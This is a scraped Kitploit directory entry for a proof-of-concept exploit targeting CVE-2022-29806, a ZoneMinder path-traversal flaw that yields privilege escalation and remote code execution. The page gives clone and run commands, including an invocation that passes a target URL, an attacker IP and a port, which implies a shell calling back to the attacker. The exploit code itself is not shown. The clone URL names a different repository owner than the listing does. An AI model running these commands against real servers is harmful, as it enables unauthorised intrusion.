Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2022-29806 — ZoneMinder up to 1.36.12 Language privilege escalation (and RCE) - Poc Exploit | Kitploit
Tools/GitHubGitHub/sigm0n/cve-2022-29806
Privilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRemote Access Tool
GitHubsigm0n/cve-2022-29806

CVE-2022-29806

ZoneMinder up to 1.36.12 Language privilege escalation (and RCE) - Poc Exploit

View Repository
321 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2022-29806

ZoneMinder up to 1.36.12 Language privilege escalation (and RCE)

alt img

Description

A Path Traversal vulnerability in debug log file and default language option in ZoneMinder version before 1.36.13 and 1.37.11 allows attackers to write and execute arbitrary code to achieve remote command execution.

"The proof of concept was tested against ZoneMinder 1.36.4 ubuntu18.04 docker: ZoneMinder/zmdockerfiles but will still applicable up to the latest version 1.36.12"

Usage

root@kitploit:~
git clone https://github.com/OP3R4T0R/CVE-2022-29806
cd CVE-2022-29806
python3 exploit.py
root@kitploit:~
python3 exploit.py -t <target_url> -ip <attacker_ip> -p <port>
python3 exploit.py -t <target_url> -ip <attacker-ip> -p <port>

Requirements

root@kitploit:~
pip3 install beautifulsoup4
pip3 install argparse
pip3 install requests

Credits

krastanoel discovered the vulnerability.

Download Tool